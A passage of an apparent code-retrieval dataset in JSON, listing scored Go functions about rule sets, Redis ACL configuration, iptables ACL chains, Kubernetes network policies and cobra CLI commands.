{\n\t\tfmt.Println(\"an error has occurred while binding flags:\", err)\n\t}\n}", "title": "" }, { "docid": "da7c4953914d146555c0818efc27a7f2", "score": "0.44697055", "text": "func GenerateACLConfig(aclFile *os.File, pwd *string) error {\n\t// the metadata for Redis ACL file\n\ttype redisACL struct {\n\t\tRedisUser string\n\t\tSha256RedisPwd string\n\t}\n\n\tacl, err := template.New(\"redis-acl\").Parse(aclDefaultUserTemplate + fmt.Sprintln())\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to parse ACL template %s: %v\", aclDefaultUserTemplate, err)\n\t}\n\n\thashed256 := sha256.Sum256([]byte(*pwd))\n\n\t// writing the ACL rules:\n\tfwriter := bufio.NewWriter(aclFile)\n\tif err := acl.Execute(fwriter, redisACL{\n\t\tRedisUser: redisDefaultUser,\n\t\tSha256RedisPwd: fmt.Sprintf(\"%x\", hashed256),\n\t}); err != nil {\n\t\treturn fmt.Errorf(\"failed to execute ACL for config %s: %v\", aclDefaultUserTemplate, err)\n\t}\n\n\tif err := fwriter.Flush(); err != nil {\n\t\treturn fmt.Errorf(\"failed to flush the ACL file writer buffer %v\", err)\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "ee69d3a770b1533654c5ac84e5c2954c", "score": "0.44696686", "text": "func (s *ReplicationConfiguration) SetRules(v []*ReplicationRule) *ReplicationConfiguration {\n\ts.Rules = v\n\treturn s\n}", "title": "" }, { "docid": "c411e4a3073259e10d314f1a025c1894", "score": "0.44639793", "text": "func (c *Config) Rules() []*autoheal.HealingRule {\n\treturn c.rules.rules\n}", "title": "" }, { "docid": "a184ae74d8743a8b760334a0b72dd605", "score": "0.44570267", "text": "func (c *Client) setRules(method string, rulesSet *api.RulesSet, status int) (*api.RulesIDList, error) {\n\n\tresult := &api.RulesIDList{}\n\n\tif err := c.doRequest(method, rulesPath, rulesSet, nil, result, status); err != nil {\n\t\tlogrus.WithError(err).Warn(\"Failed to set rules in controller\")\n\t\treturn nil, err\n\t}\n\n\treturn result, nil\n}", "title": "" }, { "docid": "60aeb0154935707881ee78edb603b50a", "score": "0.44558853", "text": "func (m *NfsServiceInlineProtocolAccessRules) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := m.validateCifsAccessType(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateNfs3AccessType(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateNfs4AccessType(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "10a5f7decb288eddbad852105addc8ae", "score": "0.4452253", "text": "func (a *awsNetworkPolicy) Rules() []np.Rule {\n\tag := a.Agnostic\n\treturn []np.Rule{\n\t\ta.newSource(ag.KubeAPIServer()).AllowPod(ag.EtcdMain(), ag.EtcdEvents()).AllowHost(ag.SeedKubeAPIServer(), ag.External()).Build(),\n\t\ta.newSource(ag.EtcdMain()).AllowHost(ag.External()).Build(),\n\t\ta.newSource(ag.EtcdEvents()).AllowHost(ag.External()).Build(),\n\t\ta.newSource(ag.CloudControllerManagerNotSecured()).AllowPod(ag.KubeAPIServer()).AllowHost(ag.External()).Build(),\n\t\ta.newSource(ag.CloudControllerManagerSecured()).AllowPod(ag.KubeAPIServer()).AllowHost(ag.External()).Build(),\n\t\ta.newSource(ag.Loki()).Build(),\n\t\ta.newSource(ag.Grafana()).AllowPod(ag.Prometheus(), ag.Loki()).Build(),\n\t\ta.newSource(ag.AddonManager()).AllowPod(ag.KubeAPIServer()).AllowHost(ag.SeedKubeAPIServer(), ag.External()).Build(),\n\t\ta.newSource(ag.KubeControllerManagerNotSecured()).AllowPod(ag.KubeAPIServer()).AllowHost(a.metadata, ag.External()).Build(),\n\t\ta.newSource(ag.KubeControllerManagerSecured()).AllowPod(ag.KubeAPIServer()).AllowHost(a.metadata, ag.External()).Build(),\n\t\ta.newSource(ag.KubeSchedulerNotSecured()).AllowPod(ag.KubeAPIServer()).Build(),\n\t\ta.newSource(ag.KubeSchedulerSecured()).AllowPod(ag.KubeAPIServer()).Build(),\n\t\ta.newSource(ag.KubeStateMetricsShoot()).AllowPod(ag.KubeAPIServer()).Build(),\n\t\ta.newSource(ag.MachineControllerManager()).AllowPod(ag.KubeAPIServer()).AllowHost(ag.SeedKubeAPIServer(), ag.External()).Build(),\n\t\ta.newSource(a.readvertiser).AllowPod(ag.KubeAPIServer()).AllowHost(ag.SeedKubeAPIServer(), ag.External()).Build(),\n\t\ta.newSource(ag.Prometheus()).AllowPod(\n\t\t\tag.CloudControllerManagerNotSecured(),\n\t\t\tag.CloudControllerManagerSecured(),\n\t\t\tag.EtcdEvents(),\n\t\t\tag.EtcdMain(),\n\t\t\tag.KubeAPIServer(),\n\t\t\tag.KubeControllerManagerNotSecured(),\n\t\t\tag.KubeControllerManagerSecured(),\n\t\t\tag.KubeSchedulerNotSecured(),\n\t\t\tag.KubeSchedulerSecured(),\n\t\t\tag.KubeStateMetricsShoot(),\n\t\t\tag.MachineControllerManager(),\n\t\t).AllowTargetPod(ag.Loki().FromPort(\"metrics\")).AllowHost(ag.SeedKubeAPIServer(), ag.External(), ag.GardenPrometheus()).Build(),\n\t}\n}", "title": "" }, { "docid": "eec9a872c780b5f4d559858f630a6864", "score": "0.44470063", "text": "func (k8s *K8S) DeleteRules(_ string, f api.RuleFilter) (err error) {\n\tretrieved, err := k8s.getRules(f)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tfor _, rule := range retrieved.Rules {\n\t\tif err = k8s.client.Delete().Namespace(k8s.namespace).Resource(kuberules.ResourceKind + \"s\").\n\t\t\tName(rule.ID).Do().Error(); err != nil {\n\t\t\treturn\n\t\t}\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "091e202ca336e906b13ba38f99f8cb99", "score": "0.44340208", "text": "func commandsList(m *Miniredis) {\n\tm.srv.Register(\"BLPOP\", m.cmdBlpop)\n\tm.srv.Register(\"BRPOP\", m.cmdBrpop)\n\tm.srv.Register(\"BRPOPLPUSH\", m.cmdBrpoplpush)\n\tm.srv.Register(\"LINDEX\", m.cmdLindex)\n\tm.srv.Register(\"LINSERT\", m.cmdLinsert)\n\tm.srv.Register(\"LLEN\", m.cmdLlen)\n\tm.srv.Register(\"LPOP\", m.cmdLpop)\n\tm.srv.Register(\"LPUSH\", m.cmdLpush)\n\tm.srv.Register(\"LPUSHX\", m.cmdLpushx)\n\tm.srv.Register(\"LRANGE\", m.cmdLrange)\n\tm.srv.Register(\"LREM\", m.cmdLrem)\n\tm.srv.Register(\"LSET\", m.cmdLset)\n\tm.srv.Register(\"LTRIM\", m.cmdLtrim)\n\tm.srv.Register(\"RPOP\", m.cmdRpop)\n\tm.srv.Register(\"RPOPLPUSH\", m.cmdRpoplpush)\n\tm.srv.Register(\"RPUSH\", m.cmdRpush)\n\tm.srv.Register(\"RPUSHX\", m.cmdRpushx)\n}", "title": "" }, { "docid": "001530a0d7ad3e1b98747fa8d79dd3dd", "score": "0.44188395", "text": "func (d Xtables) NetworkApplyACLRules(networkName string, rules []ACLRule) error {\n\tchain := fmt.Sprintf(\"%s_%s\", iptablesChainACLFilterPrefix, networkName)\n\n\t// Parse rules for both IP families before applying either family of rules.\n\tiptCmdRules := make(map[string][][]string)\n\tfor _, ipVersion := range []uint{4, 6} {\n\t\tcmd := \"iptables\"\n\t\tif ipVersion == 6 {\n\t\t\tcmd = \"ip6tables\"\n\t\t}\n\n\t\tiptRules := make([][]string, 0)\n\t\tfor _, rule := range rules {\n\t\t\tactionArgs, logArgs, err := d.aclRuleCriteriaToArgs(networkName, ipVersion, &rule)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tif actionArgs == nil {\n\t\t\t\tcontinue // Rule is not appropriate for ipVersion.\n\t\t\t}\n\n\t\t\tif logArgs != nil {\n\t\t\t\tiptRules = append(iptRules, logArgs)\n\t\t\t}\n\n\t\t\tiptRules = append(iptRules, actionArgs)\n\t\t}\n\n\t\tiptCmdRules[cmd] = iptRules\n\t}\n\n\tapplyACLRules := func(cmd string, iptRules [][]string) error {\n\t\t// Attempt to flush chain in table.\n\t\t_, err := shared.RunCommand(cmd, \"-w\", \"-t\", \"filter\", \"-F\", chain)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"Failed flushing %q chain %q in table %q: %w\", cmd, chain, \"filter\", err)\n\t\t}\n\n\t\t// Allow connection tracking.\n\t\t_, err = shared.RunCommand(cmd, \"-w\", \"-t\", \"filter\", \"-A\", chain, \"-m\", \"state\", \"--state\", \"ESTABLISHED,RELATED\", \"-j\", \"ACCEPT\")\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"Failed adding connection tracking rules to %q chain %q in table %q: %w\", cmd, chain, \"filter\", err)\n\t\t}\n\n\t\t// Add rules to chain in table.\n\t\tfor _, iptRule := range iptRules {\n\t\t\t_, err := shared.RunCommand(cmd, append([]string{\"-t\", \"filter\", \"-A\", chain}, iptRule...)...)\n\t\t\tif err != nil {\n\t\t\t\treturn fmt.Errorf(\"Failed adding rule to %q chain %q in table %q: %w\", cmd, chain, \"filter\", err)\n\t\t\t}\n\t\t}\n\n\t\treturn nil\n\t}\n\n\t// Apply each family of rules.\n\tfor cmd, rules := range iptCmdRules {\n\t\terr := applyACLRules(cmd, rules)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "a1013e580a6509609f7a2fee39f30e7a", "score": "0.44059438", "text": "func (s *GetDetectorVersionOutput) SetRules(v []*Rule) *GetDetectorVersionOutput {\n\ts.Rules = v\n\treturn s\n}", "title": "" }, { "docid": "366e959d5071df48ec3e9ace6f94cb58", "score": "0.4397625", "text": "func (v *Validator) Rules(rules interface{}) *Validator {\n\tnewValidator := v.Clone()\n\tnewValidator.rules = rules\n\treturn newValidator\n}", "title": "" }, { "docid": "6270f890efa7e64440bef0599d2997a3", "score": "0.43873435", "text": "func (s *LifecycleConfiguration) SetRules(v []*LifecycleRule) *LifecycleConfiguration {\n\ts.Rules = v\n\treturn s\n}", "title": "" }, { "docid": "c8260763094d2b8a782deebe3f6e785c", "score": "0.43842828", "text": "func NewCreateAutoscalingRule(\n\tp *config.KfParams,\n\tclient apps.Client,\n) *cobra.Command {\n\tvar async utils.AsyncIfStoppedFlags\n\n\tcmd := &cobra.Command{\n\t\tUse: \"create-autoscaling-rule APP RULE_TYPE MIN_THRESHOLD MAX_THRESHOLD\",\n\t\tShort: \"Create autoscaling rule for App.\",\n\t\tLong: `\n\t\tCreate an autoscaling rule for App.\n\n\t\tThe only supported rule type is CPU. It is the target\n\t\tpercentage. It is calculated by taking the average of MIN_THRESHOLD\n\t\tand MAX_THRESHOLD.\n\n\t\tThe range of MIN_THRESHOLD and MAX_THRESHOLD is 1 to 100 (percent).\n\t\t`,\n\t\tExample: `\n\t\t# Scale myapp based on CPU load targeting 50% utilization (halfway between 20 and 80)\n\t\tkf create-autoscaling-rule myapp CPU 20 80\n\t\t`,\n\t\tArgs: cobra.ExactArgs(4),\n\t\tValidArgsFunction: completion.AppCompletionFn(p),\n\t\tRunE: func(cmd *cobra.Command, args []string) error {\n\t\t\tif err := p.ValidateSpaceTargeted(); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tappName, ruleType := args[0], v1alpha1.GetAutoscalingRuleType(args[1])\n\n\t\t\tminThreshold, err := strconv.ParseInt(args[2], 10, 32)\n\t\t\tif err != nil {\n\t\t\t\treturn fmt.Errorf(\"min threshold has to be an integer: %s\", err)\n\t\t\t}\n\n\t\t\tmaxThreshold, err := strconv.ParseInt(args[3], 10, 32)\n\t\t\tif err != nil {\n\t\t\t\treturn fmt.Errorf(\"max threshold has to be an integer: %s\", err)\n\t\t\t}\n\n\t\t\t// Validation on rules are done on the server side.\n\t\t\t// For v1, there can be only one rule and rule type has to be CPU.\n\t\t\tmutator := func(app *v1alpha1.App) error {\n\t\t\t\tapp.Spec.Instances.Autoscaling.Rules =\n\t\t\t\t\tappend(app.Spec.Instances.Autoscaling.Rules,\n\t\t\t\t\t\tv1alpha1.AppAutoscalingRule{\n\t\t\t\t\t\t\tRuleType: ruleType,\n\t\t\t\t\t\t\tTarget: ptr.Int32(int32((minThreshold + maxThreshold) / 2)),\n\t\t\t\t\t\t})\n\t\t\t\treturn nil\n\t\t\t}\n\n\t\t\tapp, err := client.Transform(cmd.Context(), p.Space, appName, mutator)\n\t\t\tif err != nil {\n\t\t\t\treturn fmt.Errorf(\"failed to add autoscaling rule for App: %s\", err)\n\t\t\t}\n\n\t\t\tstopped := app != nil && (app.Spec.Instances.Stopped || !app.Spec.Instances.Autoscaling.Enabled)\n\t\t\taction := fmt.Sprintf(\"Creating autoscaling rule for App %q in Space %q\", appName, p.Space)\n\t\t\treturn async.AwaitAndLog(stopped, cmd.OutOrStdout(), action, func() error {\n\t\t\t\t_, err := client.WaitForConditionKnativeServiceReadyTrue(context.Background(), p.Space, appName, 1*time.Second)\n\t\t\t\treturn err\n\t\t\t})\n\t\t},\n\t\tSilenceUsage: true,\n\t}\n\n\tasync.Add(cmd)\n\n\treturn cmd\n}", "title": "" }, { "docid": "7b7facfd9b876cca1aa3b9f6ada05a83", "score": "0.43831635", "text": "func New(client *redis.Client, keyName ...string) (s *RedisCmdStore) {\n\ts = &RedisCmdStore{\n\t\tc: client,\n\t}\n\n\tif len(keyName) > 0 {\n\t\ts.keyName = keyName[0]\n\t} else {\n\t\thostname, _ := os.Hostname()\n\t\tif hostname == \"\" {\n\t\t\thostname = \"def\"\n\t\t}\n\t\ts.keyName = fmt.Sprintf(\"cmdcache:%s\", hostname)\n\t}\n\n\treturn\n}", "title": "" }, { "docid": "dd86ea219bb169d051a2ddc8fa9b548a", "score": "0.43657464", "text": "func RegisterCommands(app *cobra.Command, c *client.Client) {\n\tvar command, sub *cobra.Command\n\tcommand = &cobra.Command{\n\t\tUse: \"add\",\n\t\tShort: `add data hash`,\n\t}\n\ttmp1 := new(AddDataClientCommand)\n\tsub = &cobra.Command{\n\t\tUse: `data-client [\"/data/add/HASH/ETH_KEY\"]`,\n\t\tShort: ``,\n\t\tRunE: func(cmd *cobra.Command, args []string) error { return tmp1.Run(c, args) },\n\t}\n\ttmp1.RegisterFlags(sub, c)\n\tsub.PersistentFlags().BoolVar(&tmp1.PrettyPrint, \"pp\", false, \"Pretty print response body\")\n\tcommand.AddCommand(sub)\n\tapp.AddCommand(command)\n\tcommand = &cobra.Command{\n\t\tUse: \"agree\",\n\t\tShort: `agree data request`,\n\t}\n\ttmp2 := new(AgreeDataClientCommand)\n\tsub = &cobra.Command{\n\t\tUse: `data-client [\"/data/agree/ETH_KEY/DATA_HASH/CONTRACT_HASH\"]`,\n\t\tShort: ``,\n\t\tRunE: func(cmd *cobra.Command, args []string) error { return tmp2.Run(c, args) },\n\t}\n\ttmp2.RegisterFlags(sub, c)\n\tsub.PersistentFlags().BoolVar(&tmp2.PrettyPrint, \"pp\", false, \"Pretty print response body\")\n\tcommand.AddCommand(sub)\n\tapp.AddCommand(command)\n\tcommand = &cobra.Command{\n\t\tUse: \"ask-computing\",\n\t\tShort: `ask for computing for data request`,\n\t}\n\ttmp3 := new(AskComputingDataClientCommand)\n\tsub = &cobra.Command{\n\t\tUse: `data-client [\"/data/askComputing/ETH_KEY/COMPUTING_HASH/CONTRACT_HASH/PUBLIC_KEY\"]`,\n\t\tShort: ``,\n\t\tRunE: func(cmd *cobra.Command, args []string) error { return tmp3.Run(c, args) },\n\t}\n\ttmp3.RegisterFlags(sub, c)\n\tsub.PersistentFlags().BoolVar(&tmp3.PrettyPrint, \"pp\", false, \"Pretty print response body\")\n\tcommand.AddCommand(sub)\n\tapp.AddCommand(command)\n\tcommand = &cobra.Command{\n\t\tUse: \"del\",\n\t\tShort: `delete data hash`,\n\t}\n\ttmp4 := new(DelDataClientCommand)\n\tsub = &cobra.Command{\n\t\tUse: `data-client [\"/data/del/HASH/ETH_KEY\"]`,\n\t\tShort: ``,\n\t\tRunE: func(cmd *cobra.Command, args []string) error { return tmp4.Run(c, args) },\n\t}\n\ttmp4.RegisterFlags(sub, c)\n\tsub.PersistentFlags().BoolVar(&tmp4.PrettyPrint, \"pp\", false, \"Pretty print response body\")\n\tcommand.AddCommand(sub)\n\tapp.AddCommand(command)\n\tcommand = &cobra.Command{\n\t\tUse: \"upload-data\",\n\t\tShort: `upload encrypted data[hash] for data request`,\n\t}\n\ttmp5 := new(UploadDataDataClientCommand)\n\tsub = &cobra.Command{\n\t\tUse: `data-client [\"/data/upload/ENCRYPT_DATA_HASH/ETH_KEY/DATA_HASH/CONTRACT_HASH\"]`,\n\t\tShort: ``,\n\t\tRunE: func(cmd *cobra.Command, args []string) error { return tmp5.Run(c, args) },\n\t}\n\ttmp5.RegisterFlags(sub, c)\n\tsub.PersistentFlags().BoolVar(&tmp5.PrettyPrint, \"pp\", false, \"Pretty print response body\")\n\tcommand.AddCommand(sub)\n\tapp.AddCommand(command)\n\n\tdl := new(DownloadCommand)\n\tdlc := &cobra.Command{\n\t\tUse: \"download [PATH]\",\n\t\tShort: \"Download file with given path\",\n\t\tRunE: func(cmd *cobra.Command, args []string) error {\n\t\t\treturn dl.Run(c, args)\n\t\t},\n\t}\n\tdlc.Flags().StringVar(&dl.OutFile, \"out\", \"\", \"Output file\")\n\tapp.AddCommand(dlc)\n}", "title": "" }, { "docid": "a51c9bb235e3b313c7abeb439a15faa3", "score": "0.43644267", "text": "func (c *Controller) Set(rules RuleSet) error {\n\tc.Lock()\n\tdefer c.Unlock()\n\tif err := c.setAppendRules(rules.appendRules); err != nil {\n\t\treturn err\n\t}\n\treturn c.setPrependRules(rules.prependRules)\n}", "title": "" }, { "docid": "2b28e7dd02856d74bd9b8e13f8bd11d6", "score": "0.43644038", "text": "func (srv *PCRFDiamServer) SetRules(\n\tctx context.Context,\n\taccountRules *protos.AccountRules,\n) (*orcprotos.Void, error) {\n\taccount, ok := srv.subscribers[accountRules.Imsi]\n\tif !ok {\n\t\treturn nil, fmt.Errorf(\"Could not find imsi %s\", accountRules.Imsi)\n\t}\n\taccount.RuleNames = accountRules.RuleNames\n\taccount.RuleBaseNames = accountRules.RuleBaseNames\n\taccount.RuleDefinitions = accountRules.RuleDefinitions\n\treturn &orcprotos.Void{}, nil\n}", "title": "" }, { "docid": "bafb8d1924b84a974c91e4810fa42956", "score": "0.43633536", "text": "func (o *DeleteSecurityGroupRuleRequest) SetRules(v []SecurityGroupRule) {\n\to.Rules = &v\n}", "title": "" }, { "docid": "4b03b411b8d2a4fe0e718001ebd5b2b1", "score": "0.4359466", "text": "func (mc MonitorConfig) ValidateRules() error {\n\tfor _, rule := range mc.Rules {\n\t\t_, err := regexp.Compile(rule.Pattern)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "35d8cad7304a7fd5bade2d7f594b61db", "score": "0.43486196", "text": "func (m *ContractRules) Validate(formats strfmt.Registry) error {\n\treturn nil\n}", "title": "" }, { "docid": "da7e1b5fa438bb5a0078d76867ae9776", "score": "0.4332838", "text": "func (s *CreateDetectorVersionInput) SetRules(v []*Rule) *CreateDetectorVersionInput {\n\ts.Rules = v\n\treturn s\n}", "title": "" }, { "docid": "9d3acf774123a3877ec95ad675a650ee", "score": "0.43322098", "text": "func (a *Client) DeleteSyncRules(params *DeleteSyncRulesParams, authInfo runtime.ClientAuthInfoWriter) (*DeleteSyncRulesNoContent, error) {\n\t// TODO: Validate the params before sending\n\tif params == nil {\n\t\tparams = NewDeleteSyncRulesParams()\n\t}\n\n\tresult, err := a.transport.Submit(&runtime.ClientOperation{\n\t\tID: \"deleteSyncRules\",\n\t\tMethod: \"DELETE\",\n\t\tPathPattern: \"/platform/3/sync/rules\",\n\t\tProducesMediaTypes: []string{\"application/json\"},\n\t\tConsumesMediaTypes: []string{\"application/json\"},\n\t\tSchemes: []string{\"https\"},\n\t\tParams: params,\n\t\tReader: &DeleteSyncRulesReader{formats: a.formats},\n\t\tAuthInfo: authInfo,\n\t\tContext: params.Context,\n\t\tClient: params.HTTPClient,\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn result.(*DeleteSyncRulesNoContent), nil\n\n}", "title": "" }, { "docid": "4045140cbb244623b836dddee2fe2bb8", "score": "0.4330937", "text": "func (s *Service) rule(c context.Context, aid int64, zoneids []int64) (res []int64, err error) {\n\tvar playauth int64\n\tkey := keyZlimit(aid)\n\tconn := s.redis.Get(c)\n\tdefer conn.Close()\n\tfor _, v := range zoneids {\n\t\tif err = conn.Send(\"HGET\", key, v); err != nil {\n\t\t\tlog.Error(\"rule conn.Send(HGET, %s, %d) error(%v)\", key, v, err)\n\t\t\treturn\n\t\t}\n\t}\n\tif err = conn.Flush(); err != nil {\n\t\tlog.Error(\"rule conn.Flush error(%v)\", err)\n\t\treturn\n\t}\n\tfor i := 0; i < len(zoneids); i++ {\n\t\tif playauth, err = redis.Int64(conn.Receive()); err != nil {\n\t\t\tif err != redis.ErrNil {\n\t\t\t\tlog.Error(\"rule conn.Receive()%d error(%v)\", i+1, err)\n\t\t\t\treturn\n\t\t\t}\n\t\t\terr = nil\n\t\t}\n\t\tres = append(res, playauth)\n\t}\n\treturn\n}", "title": "" }, { "docid": "ff98fb1a88781bca03bdab2011314dc2", "score": "0.43306917", "text": "func (r *RedigoServer) populateCommandTable() {\n\tr.Commands = make(map[string]*RedigoCommand)\n\tfor _, cmd := range RedigoCommandTable {\n\t\tr.Commands[cmd.Name] = cmd\n\n\t\tfor _, c := range cmd.SFlags {\n\t\t\tswitch c {\n\t\t\tcase 'w':\n\t\t\t\tcmd.Flags |= REDIS_CMD_WRITE\n\t\t\tcase 'r':\n\t\t\t\tcmd.Flags |= REDIS_CMD_READONLY\n\t\t\tcase 'm':\n\t\t\t\tcmd.Flags |= REDIS_CMD_DENYOOM\n\t\t\tcase 'a':\n\t\t\t\tcmd.Flags |= REDIS_CMD_ADMIN\n\t\t\tcase 'p':\n\t\t\t\tcmd.Flags |= REDIS_CMD_PUBSUB\n\t\t\tcase 's':\n\t\t\t\tcmd.Flags |= REDIS_CMD_NOSCRIPT\n\t\t\tcase 'R':\n\t\t\t\tcmd.Flags |= REDIS_CMD_RANDOM\n\t\t\tcase 'S':\n\t\t\t\tcmd.Flags |= REDIS_CMD_SORT_FOR_SCRIPT\n\t\t\tcase 'l':\n\t\t\t\tcmd.Flags |= REDIS_CMD_LOADING\n\t\t\tcase 't':\n\t\t\t\tcmd.Flags |= REDIS_CMD_STALE\n\t\t\tcase 'M':\n\t\t\t\tcmd.Flags |= REDIS_CMD_SKIP_MONITOR\n\t\t\tcase 'k':\n\t\t\t\tcmd.Flags |= REDIS_CMD_ASKING\n\t\t\tcase 'F':\n\t\t\t\tcmd.Flags |= REDIS_CMD_FAST\n\t\t\tdefault:\n\t\t\t\tpanic(\"Unsupported command flag\")\n\t\t\t}\n\t\t}\n\t}\n}", "title": "" }, { "docid": "1307442ce1fcbd6a5f0a9bc358813ada", "score": "0.43248895", "text": "func New() *Rules {\n\tr := new(Rules)\n\n\t// Set config file name\n\tviper.SetConfigName(\"config\")\n\t// Set config file directory\n\tviper.AddConfigPath(\".\")\n\tviper.ReadInConfig()\n\n\tr.config = viper.Sub(\"rules\")\n\treturn r\n}", "title": "" }, { "docid": "4488815b6da9cc6f9fed7a7c484c3e9f", "score": "0.43242016", "text": "func (m *DeviceManagementExchangeOnPremisesPolicy) SetAccessRules(value []DeviceManagementExchangeAccessRuleable)() {\n err := m.GetBackingStore().Set(\"accessRules\", value)\n if err != nil {\n panic(err)\n }\n}", "title": "" }, { "docid": "363e5a163bd972ba67eda8d8a8869363", "score": "0.43116152", "text": "func (a *Client) DeleteRules(params *DeleteRulesParams, opts ...ClientOption) (*DeleteRulesOK, error) {\n\t// TODO: Validate the params before sending\n\tif params == nil {\n\t\tparams = NewDeleteRulesParams()\n\t}\n\top := &runtime.ClientOperation{\n\t\tID: \"delete-rules\",\n\t\tMethod: \"DELETE\",\n\t\tPathPattern: \"/ioarules/entities/rules/v1\",\n\t\tProducesMediaTypes: []string{\"application/json\"},\n\t\tConsumesMediaTypes: []string{\"application/json\"},\n\t\tSchemes: []string{\"https\"},\n\t\tParams: params,\n\t\tReader: &DeleteRulesReader{formats: a.formats},\n\t\tContext: params.Context,\n\t\tClient: params.HTTPClient,\n\t}\n\tfor _, opt := range opts {\n\t\topt(op)\n\t}\n\n\tresult, err := a.transport.Submit(op)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tsuccess, ok := result.(*DeleteRulesOK)\n\tif ok {\n\t\treturn success, nil\n\t}\n\t// unexpected success response\n\t// safeguard: normally, absent a default response, unknown success responses return an error above: so this is a codegen issue\n\tmsg := fmt.Sprintf(\"unexpected success response for delete-rules: API contract not enforced by server. Client expected to get an error, but got: %T\", result)\n\tpanic(msg)\n}", "title": "" }, { "docid": "bf7c8bda028713313d3a75eb8f0a19e5", "score": "0.43080875", "text": "func NewAclCommand(f *factory.Factory) *cobra.Command {\n\tcmd := &cobra.Command{\n\t\tUse: \"acl\",\n\t\tShort: f.Localizer.MustLocalize(\"kafka.acl.cmd.shortDescription\"),\n\t\tLong: f.Localizer.MustLocalize(\"kafka.acl.cmd.longDescription\"),\n\t\tExample: f.Localizer.MustLocalize(\"kafka.acl.cmd.example\"),\n\t\tArgs: cobra.ExactArgs(1),\n\t}\n\n\tcmd.AddCommand(\n\t\tlist.NewListACLCommand(f),\n\t\tgrant.NewGrantPermissionsACLCommand(f),\n\t\tdelete.NewDeleteCommand(f),\n\t\tadmin.NewAdminACLCommand(f),\n\t)\n\n\treturn cmd\n}", "title": "" }, { "docid": "7a47118b5450e3d1040ac33a43857d65", "score": "0.43076664", "text": "func (s *UpdateDetectorVersionInput) SetRules(v []*Rule) *UpdateDetectorVersionInput {\n\ts.Rules = v\n\treturn s\n}", "title": "" }, { "docid": "f324a01d82298b01b95381fe6e372782", "score": "0.43058223", "text": "func (a *RulesApiService) BulkDeleteRules(ctx _context.Context, stackId string, siteId string) apiBulkDeleteRulesRequest {\n\treturn apiBulkDeleteRulesRequest{\n\t\tapiService: a,\n\t\tctx: ctx,\n\t\tstackId: stackId,\n\t\tsiteId: siteId,\n\t}\n}", "title": "" }, { "docid": "483535c7cdd79754a4bf2654d50fd1b3", "score": "0.43056387", "text": "func (a *Client) ListSyncRules(params *ListSyncRulesParams, authInfo runtime.ClientAuthInfoWriter) (*ListSyncRulesOK, error) {\n\t// TODO: Validate the params before sending\n\tif params == nil {\n\t\tparams = NewListSyncRulesParams()\n\t}\n\n\tresult, err := a.transport.Submit(&runtime.ClientOperation{\n\t\tID: \"listSyncRules\",\n\t\tMethod: \"GET\",\n\t\tPathPattern: \"/platform/3/sync/rules\",\n\t\tProducesMediaTypes: []string{\"application/json\"},\n\t\tConsumesMediaTypes: []string{\"application/json\"},\n\t\tSchemes: []string{\"https\"},\n\t\tParams: params,\n\t\tReader: &ListSyncRulesReader{formats: a.formats},\n\t\tAuthInfo: authInfo,\n\t\tContext: params.Context,\n\t\tClient: params.HTTPClient,\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn result.(*ListSyncRulesOK), nil\n\n}", "title": "" }, { "docid": "1f4a8c9d422aeaf18897973aa78f06b8", "score": "0.43006876", "text": "func (r *Redis) AddFlags(fs *pflag.FlagSet) {\n\tfs.IntVar(&r.DialTimeout, \"rdt\", DefaultRedisTimeout, \"redis dial timeout (ms)\")\n\tfs.IntVar(&r.ClusterNodeTimeout, \"cluster-node-timeout\", DefaultClusterNodeTimeout, \"redis node timeout (ms)\")\n\tfs.StringVar(&r.ConfigFileName, \"c\", RedisConfigFileDefault, \"redis config file path\")\n\tfs.StringVar(&r.RenameCommandsPath, \"rename-command-path\", RedisRenameCommandsDefaultPath, \"Path to the folder where rename-commands option for redis are available\")\n\tfs.StringVar(&r.RenameCommandsFile, \"rename-command-file\", RedisRenameCommandsDefaultFile, \"Name of the file where rename-commands option for redis are available, disabled if empty\")\n\tfs.Uint32Var(&r.MaxMemory, \"max-memory\", RedisMaxMemoryDefault, \"redis max memory\")\n\tfs.StringVar(&r.MaxMemoryPolicy, \"max-memory-policy\", RedisMaxMemoryPolicyDefault, \"redis max memory evition policy\")\n\tfs.StringVar(&r.ServerBin, \"bin\", RedisServerBinDefault, \"redis server binary file name\")\n\tfs.StringVar(&r.ServerPort, \"port\", RedisServerPortDefault, \"redis server listen port\")\n\tfs.StringVar(&r.ServerIP, \"ip\", \"\", \"redis server listen ip\")\n\tfs.StringArrayVar(&r.ConfigFiles, \"config-file\", []string{}, \"Location of redis configuration file that will be include in the \")\n}", "title": "" }, { "docid": "11c7ba5a75f0b88c70a6bb6bdd6c8882", "score": "0.42953834", "text": "func (o MediaInsightsPipelineConfigurationRealTimeAlertConfigurationOutput) Rules() MediaInsightsPipelineConfigurationRealTimeAlertConfigurationRuleArrayOutput {\n\treturn o.ApplyT(func(v MediaInsightsPipelineConfigurationRealTimeAlertConfiguration) []MediaInsightsPipelineConfigurationRealTimeAlertConfigurationRule {\n\t\treturn v.Rules\n\t}).(MediaInsightsPipelineConfigurationRealTimeAlertConfigurationRuleArrayOutput)\n}", "title": "" }, { "docid": "c1f1c577442396443d8a85f7b1353954", "score": "0.42894056", "text": "func NewGetACLsCommand() *cobra.Command {\n\tcmd := &cobra.Command{\n\t\tUse: \"acls\",\n\t\tShort: \"Print the list of the available Kafka Access Control Lists\",\n\t\tExample: \"acls\",\n\t\tTraverseChildren: true,\n\t\tRunE: 